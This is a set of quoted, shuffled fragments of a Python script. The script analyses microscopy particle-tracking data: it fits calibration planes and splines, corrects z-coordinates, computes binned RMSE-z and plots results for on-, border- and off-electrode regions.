"z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step",
"'-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z,",
"Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired",
"plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm,",
"'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED FOR IDPT CALIBRATION",
"'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1 read SPCT off-bpe test coords",
"plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' #",
"spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] -",
"ending tick mark on the fine adjustment knob during image acquisition). \"\"\" #",
"'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare =",
"dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS +",
"dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe =",
"dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)]",
"np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0.",
"path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ",
"zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true,",
"column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if save_plots or",
"popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true,",
"# ----------------------- Z-MEAN +/- Z-STD PLOTS # fit line popt, pcov = curve_fit(functions.line,",
"dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std",
"join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords,",
"+ '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if",
"kx, ky = 2, 2 # step 1. merge [['x', 'y']] into spct",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if",
"microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords = False if",
"1.0 alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]})",
"37.25 xyticks = [-30, -15, 0, 15, 30] ms = 3 # FIGURE",
"scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots()",
"dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for",
"merge_spct_stats: # read SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid",
"# --- STEP 0. drop and rename columns for simplicity dft = dft.drop(columns=['z',",
"create a z_corr column by using fitted spline to correct z dft =",
"i_num_pids = len(dft.id.unique()) # --- # --- STEP 0. drop and rename columns",
"rmse_all_particles = False rmse_on_off_bpe = False rmse_compare = False # format plots xylim",
"--- STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE and (2) OFF BPE.",
"plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$')",
"plt.close() # --- # FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND",
"sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm,",
"round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse",
"= 2, 2 # step 1. merge [['x', 'y']] into spct pid defocus",
"15, 30] lbls = ['On', 'Border', 'Off'] markers = ['s', 'd', 'o'] if",
"1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z,",
"tick mark on the fine adjustment knob during image acquisition). \"\"\" # --------------------------------------------------------------------------------------------------------------",
"i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr':",
"-zlim) & (dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True,",
"'#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig)",
"--- 2. SPCT # 2.1 read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx')",
"dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1,",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs",
"'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS -",
"= pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get z_in-focus mean +",
"fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig",
"# 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin',",
"sciblue = '#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science',",
"plt.show() plt.close() # rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr = 1.0",
"y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30,",
"df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean",
"* microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z',",
"> -zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true']",
"been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove",
"+ '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS #",
") if show_plots: plt.show() plt.close() if rmse_compare: # 1. read binned rmse-z dataframes",
"= fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir =",
"np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line)",
"EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft in",
"calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf]",
"ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky))",
"utils.plotting import lighten_color # A note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green:",
"= False show_plots = False if analyze_test_coords: # read test coords dft =",
"False kx, ky = 2, 2 # step 1. read calibration coords dfc,",
"if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE and",
"format plots xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] ms",
"fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line",
"** 2 area_microns = (512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids",
"ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3),",
"--- plotting # format plots xylim = 37.25 xyticks = [-30, -15, 0,",
"param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx, ky = 2,",
"zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true']",
"fits a 2D spline to the in-focus particle positions and uses this to",
"(dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1,",
"if use_idpt_zf: \"\"\" NOTE: This correction scheme fits a 2D spline to the",
"7. create a z_corr column by using fitted spline to correct z dft",
"'d', 'o'] if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES",
"have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP",
"plot binned rmse-z if save_plots or show_plots: ms = 4 # ----------------------- BASIC",
"else: # read SPCT pid defocus stats that have already been merged path_calib_pid_defocus",
"= 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z']",
"/ 2)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c",
"= plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1],",
"for simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) #",
"export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction",
"= bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if",
"(\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() #",
"= (512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) #",
"/ 2) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] # step 3.",
"kx, ky = 2, 2 # step 1. read calibration coords dfc, dfcpid,",
"= True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx, ky",
"= pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots or show_plots: ms",
"& (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] # step 3. fit plane",
"import fit, functions, bin, io, plotting, modify, plot_collections from utils.plotting import lighten_color #",
"if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/-",
"BPE. column_to_bin = 'x' bins_x = [145, 175, 205] round_x_to_decimal = 0 dfbx",
"= dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty",
"'-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks)",
"intention of making the z-coords identical for all calibration image sets (by using",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if",
"df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true'",
"plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs +",
"-zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] <",
"= pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND",
"color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75,",
"# -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of",
"2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft =",
"dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean",
"save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP 2. FOR",
"0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true",
"# ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ----------------------------------------------------------------------------------------------------------------------",
"column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] ==",
"OF PARTICLES PER Z compare_idpt_spct = False save_plots = False show_plots = False",
"axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true,",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN",
"dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results",
"(ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft in zip(lbls, [df_on,",
"ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots:",
"'x', 'y', 'cm', 'error']] # step 7. create a z_corr column by using",
"ms = 4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax",
"step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE:",
"are well aligned enough in both calibration image sets to just ignore. This",
"yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt),",
"correct_test_coords = False if correct_test_coords: use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------",
"SPLIT DATAFRAME INTO (1) OFF BPE and (2) OFF BPE. column_to_bin = 'x'",
"SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline:",
"cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE",
"PLOT for lbl, dft in zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1.",
"error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin,",
"rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150])",
"\\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close()",
"column by using fitted spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z')",
"= {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT",
"+ '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords dft = io.read_test_coords(path_test_coords) #",
"join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis",
"Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange",
"dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge",
"stats mag_eff = 20.0 area_pixels = 512 ** 2 area_microns = (512 *",
"join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- #",
"close all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig,",
"bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2",
"EDGE, OFF) ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2],",
"images used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx')",
"3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step 5. read test_coords dft =",
"= '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt')",
"color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange)",
"from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare,",
"= dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim)",
"set their z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False",
"BPE and (2) OFF BPE. column_to_bin = 'x' bins_x = [145, 175, 205]",
"< zf_c_mean + zf_c_std)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf,",
"plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots = True xylim = 37.25",
"plt.close() # step 5. read test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop",
"& (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3. fit plane dictc_fit_plane =",
"dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] # --- # ---",
"z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2",
"= dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe = False",
"# --- STEP 0. SPLIT DATAFRAME INTO (1) OFF BPE and (2) OFF",
"[-30, -15, 0, 15, 30] ms = 3 # read dataframe fp =",
"Z compare_idpt_spct = False save_plots = False show_plots = False if compare_idpt_spct: #",
"dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE",
"NUMBER OF PARTICLES PER Z compare_idpt_spct = False save_plots = False show_plots =",
"= dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim)",
"< zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc =",
"'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o',",
"30] lbls = ['On', 'Border', 'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles:",
"dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers # 2.1 get",
"= 2, 2 # step 1. read calibration coords dfc, dfcpid, dfcpop, dfcstats",
"i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'})",
"mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter",
"AND PLOT for lbl, dft in zip(lbls, [df_on, df_edge, df_off]): # --- STEP",
"os.path import join from os import listdir import matplotlib.pyplot as plt # imports",
"pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt)",
"= np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with",
"columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS",
"ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout()",
"ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method = 'idpt' microns_per_pixel",
"particle positions and uses this to set their z_f = 0 position. \"\"\"",
"fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax =",
"#00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF",
"dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get z_in-focus mean",
"step 5. read test_coords dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns",
"join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED FOR IDPT",
"in both calibration image sets to just ignore. This is not necessarily surprising",
"0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]]",
"PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm =",
"PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true,",
"import numpy as np import pandas as pd from scipy.optimize import curve_fit import",
"'z_true'}) # --- 2. SPCT # 2.1 read SPCT off-bpe test coords dfs_off",
"# imports import os from os.path import join from os import listdir import",
"if merge_spct_stats: # read SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats",
"color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$')",
"----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z,",
"+ '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd",
"dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf:",
"orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW",
"to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf']",
"color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim,",
"ky)) plt.close() # step 5. read test_coords dft = io.read_test_coords(path_test_coords) # step 6.",
